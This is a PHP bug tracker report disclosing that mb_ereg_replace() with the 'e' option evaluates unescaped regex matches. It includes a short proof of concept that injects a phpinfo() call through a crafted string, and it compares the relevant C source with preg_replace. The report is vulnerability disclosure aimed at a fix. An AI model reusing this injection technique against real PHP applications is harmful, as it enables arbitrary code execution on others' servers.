#48180 [NEW]: mb_ereg(i)_replace() evaluate replacement string vulnerability

From: 5up3rh3i at gmail dot com Operating system: Any PHP version: 5.2.9 PHP Bug Type: mbstring related Bug description: mb_ereg(i)_replace() evaluate replacement string vulnerability Description: ------------ when option parameter set e, matches not be escaped. ex: <?php function 80vul() {} $str = '\', phpinfo(), \''; mb_ereg_replace('^(.*)$', '80vul(\'\1\')', $str, 'e'); ?> phpinfo() will be evaluated. mb_ereg_replace() if ((replace_len - i) >= 2 && fwd == 1 && p[0] == '\\' && p[1] >= '0' && p[1] <= '9') { n = p[1] - '0'; } if (n >= 0 && n < regs->num_regs) { if (regs->beg[n] >= 0 && regs->beg[n] < regs->end[n] && regs->end[n] <= string_len) { smart_str_appendl(pbuf, string + regs->beg[n], regs->end[n] - regs->beg[n]); // matches not be escaped } preg_replace() if ('\\' == *walk || '$' == *walk) { smart_str_appendl(&code, segment, walk - segment); if (walk_last == '\\') { code.c[code.len-1] = *walk++; segment = walk; walk_last = 0; continue; } segment = walk; if (preg_get_backref(&walk, &backref)) { if (backref < count) { /* Find the corresponding string match and substitute it in instead of the backref */ match = subject + offsets[backref<<1]; match_len = offsets[(backref<<1)+1] - offsets[backref<<1]; if (match_len) { esc_match = php_addslashes_ex(match, match_len, &esc_match_len, 0, 1 TSRMLS_CC); // matches escaped by addslashes() ... smart_str_appendl(&code, esc_match, esc_match_len); -- Edit bug report at http://bugs.php.net/?id=48180&edit=1 -- Try a CVS snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=48180&r=trysnapshot52 Try a CVS snapshot (PHP 5.3): http://bugs.php.net/fix.php?id=48180&r=trysnapshot53 Try a CVS snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=48180&r=trysnapshot60 Fixed in CVS: http://bugs.php.net/fix.php?id=48180&r=fixedcvs Fixed in CVS and need be documented: http://bugs.php.net/fix.php?id=48180&r=needdocs Fixed in release: http://bugs.php.net/fix.php?id=48180&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=48180&r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=48180&r=needscript Try newer version: http://bugs.php.net/fix.php?id=48180&r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=48180&r=support Expected behavior: http://bugs.php.net/fix.php?id=48180&r=notwrong Not enough info: http://bugs.php.net/fix.php?id=48180&r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=48180&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=48180&r=globals PHP 4 support discontinued: http://bugs.php.net/fix.php?id=48180&r=php4 Daylight Savings: http://bugs.php.net/fix.php?id=48180&r=dst IIS Stability: http://bugs.php.net/fix.php?id=48180&r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=48180&r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=48180&r=float No Zend Extensions: http://bugs.php.net/fix.php?id=48180&r=nozend MySQL Configuration Error: http://bugs.php.net/fix.php?id=48180&r=mysqlcfg